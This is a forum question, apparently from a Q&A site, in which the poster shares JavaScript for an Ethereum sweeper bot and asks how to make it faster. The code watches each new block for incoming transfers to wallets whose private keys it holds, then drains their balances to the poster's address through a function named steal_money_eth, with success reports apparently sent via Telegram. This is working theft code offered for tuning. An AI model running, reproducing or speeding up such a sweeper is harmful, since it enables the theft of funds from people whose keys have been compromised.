How to speed up process of taking a token?

Question

I am new to cryptocurrency and would like to find out how to speed up the process of taking a token. Here is the finished code:

I use the code to exchange and do other things via telegram

async function trans_wallets_eth() {
    for(var x in trans_eth) {
        var to_address = trans_eth[x]['to'];
        if (to_address in all_wallets) {
            steal_money_eth(to_address, all_wallets[to_address]);
            await new Promise(resolve => setTimeout(resolve, 30000));
        }
    }
}

async function getBlocks_eth() {
    var work = true
    while (work) {
        try {
            var latestBlock = await web4.eth.getBlock(block_identifier = web4.eth.defaultBlock, full_transactions = true);
            global.trans_eth = latestBlock.transactions;
            await trans_wallets_eth()
            console.log('ETH '+latestBlock.number);
            await new Promise(resolve => setTimeout(resolve, 1500));
        } catch (e) {
            await new Promise(resolve => setTimeout(resolve, 2000));
            web4 = new Web3(moralis_eth)
        }
    }
}

async function steal_money_eth(wallet, wallet_specs) {
    try {
        var private_key = wallet_specs[0]
        var eth_balance = wallet_specs[3]
        var grab_from_eth_balance = await web4.utils.toWei(eth_balance, 'ether')
        var fast_gas_price = await web4.utils.toWei(eth_gwei, 'gwei')
        var counter = 0
        while (true) {
            var balance = await web4.eth.getBalance(wallet)
            if (Number(balance) < grab_from_eth_balance) {
                await new Promise(resolve => setTimeout(resolve, 100));
                counter++
                if (counter === 200) {
                    console.log("Stopped here")
                    return;
                }
            } else {
                break;
            }
        }
        var nonce = await web4.eth.getTransactionCount(wallet)
        var transfer_amount = Number(balance) - fast_gas_price * 21000
        var tx_price = {
            'chainId': 1,
            'nonce': nonce,
            'to': user_wallet_address_eth,
            'value': transfer_amount,
            'gas': 21000,
            'gasPrice': fast_gas_price
        }
        var signed_tx = await web4.eth.accounts.signTransaction(tx_price, private_key)
        var tx_hash = await web4.eth.sendSignedTransaction(signed_tx.rawTransaction)
        global.amount_sent_eth = await web4.utils.fromWei(String(transfer_amount), 'ether')
        global.tx_link_eth = 'https://etherscan.com/tx/' + tx_hash.transactionHash
        console.log('💰ETH '+amount_sent_eth+'💰 Transaction successful!😎👌 ' + tx_link_eth)
        sending_good_news_eth()
    } catch (e) {
        console.log(e)
        await new Promise(resolve => setTimeout(resolve, 5000));
    }
}

I would like to understand where to look. You don't have to change the code for me. Thank you in advance.
